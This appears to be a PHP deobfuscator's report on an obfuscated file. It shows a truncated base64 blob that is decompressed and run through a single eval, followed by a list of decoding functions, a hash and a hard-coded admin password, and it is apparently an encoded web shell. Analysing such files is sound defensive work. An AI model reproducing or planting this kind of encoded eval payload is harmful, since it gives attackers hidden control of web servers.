/5gVO73VWzS6EFXMpjgUPU9g2WCxu9PSMwyYZyGk8ZoNJmIMtA4vzI2aTsQt48djCPWtdkDrfxpHfN8gyuolWqGBeAQcTSfA9Wd/Ho5CsQ0LBg6tzL4OU6Mvt0jloRPmcZeTtzsNoNWFX9YQK9/LIAYM7XM7OpDxZITBTzeIWcC7MsxHKBtWutT6s2uRaz3LfD73m4cO9Ze0A+Qq9FOUjpevJGfz/xByd9/ESHPkMW1n5/fffffuXf/71X3/4R/LJj1BPIEuf0eAc3TGCGKK/j5ogMwaXQ/f+OodfdHbnnceJv6cGuYGaOtkCywrRWxTcQbl9utdVMDRkRsVCBlqFuzt6aKUNvcOVUBUI20qtn6Ka54HXIQgm3KujgojJVDcLEaH9m0z822F6Mx2zV8Ha9eQiYxUq6OCLGKCQQLOOPmgn0/HNaLIE2ZvSlA3y0gL+WogZa3StVO+8qRM11JG4L97Zh3yClsF5IUvhrJOck9au37py7E06xxNNKJuwDUZD+Cpuwt7qhymebEku7fGK74TVpYHfESbTrT495ikftfDMkh65SQ5BSFkFZLRSlNb3viaPXFXAkw+2JtaGl9mVVF1YK0p4E3qQEfE8gLizYfHBz7KwLQ+LGhfsPoMf5MlNfnZ5OgAHUhM9eqUedIDNRLi/wbzhc6e4onYPOLFzuqwYIFAtrXBxgyYTzzg/B9e5sJbjDJ3vvv3j3z6vqbNJ9p6b3BUDkYOLLgBZhPEFORYlJcOsx2Y/cvJ6cDq8coIHnGc9BDh0WX5HKwBxx2RCcJT/u09mQNyXJTqk/wY2nFDb")))
?>

Function Calls

gzuncompress 1
base64_decode 1

Variables

$admin [{'key': 'pass', 'value': 'admin'}]
$notice <FONT color=#ff3300>PHP</font>

Stats

MD5 7b9b2c922f447cf57792d482349805bd
Eval Count 1
Decode Time 155 ms